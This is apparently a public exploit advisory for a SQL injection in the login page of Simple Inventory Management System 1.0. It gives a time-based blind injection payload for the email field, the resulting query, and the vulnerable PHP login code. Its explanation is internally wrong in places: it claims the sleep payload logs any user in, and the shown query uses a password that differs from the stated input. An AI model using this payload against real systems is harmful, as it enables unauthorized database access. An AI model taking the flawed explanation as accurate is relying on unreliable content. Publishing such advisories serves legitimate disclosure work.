Headline
Simple Inventory Management System 1.0 SQL Injection
Simple Inventory Management System version 1.0 suffers from a remote SQL injection vulnerability.
Exploit Title: Simple Inventory Management System - SQL Injection
Google Dork: N/A
Application: Simple Inventory Management System
Date: 26.02.2024
Bugs: SQL Injection
Exploit Author: SoSPiro
Vendor Homepage: https://www.sourcecodester.com/
Software Link: https://www.sourcecodester.com/php/15419/simple-inventory-management-system-phpoop-free-source-code.html
Version: 1.0
Tested on: Windows 10 64 bit Wampserver
CVE : N/A
Vulnerability Description:
This code snippet is potentially vulnerable to SQL Injection. User inputs ($_POST[‘email’] and $_POST[‘pwd’]) are directly incorporated into the SQL query without proper validation or sanitization, exposing the application to the risk of manipulation by malicious users. This could allow attackers to inject SQL code through specially crafted input.
Proof of Concept (PoC):
An example attacker could input the following values:
email: [email protected]’%2b(select*from(select(sleep(20)))a)%2b’
pwd: test
This would result in the following SQL query:
SELECT * FROM users WHERE email = ‘[email protected]’+(select*from(select(sleep(20)))a)+’’ AND password = ‘anything’
This attack would retrieve all users, making the login process always successful.
request-response foto:https://i.imgur.com/slkzYJt.png
Vulnerable code section:
====================================================
ims/login.php
<?php
ob_start();
session_start();
include(‘inc/header.php’);
$loginError = '’;
if (!empty($_POST[‘email’]) && !empty($_POST[‘pwd’])) {
include 'Inventory.php’;
$inventory = new Inventory();
// Vulnerable code
$login = $inventory->login($_POST[‘email’], $_POST[‘pwd’]);
//
if(!empty($login)) {
$_SESSION[‘userid’] = $login[0][‘userid’];
$_SESSION[‘name’] = $login[0][‘name’];
header(“Location:index.php”);
} else {
$loginError = "Invalid email or password!";
}
}
?>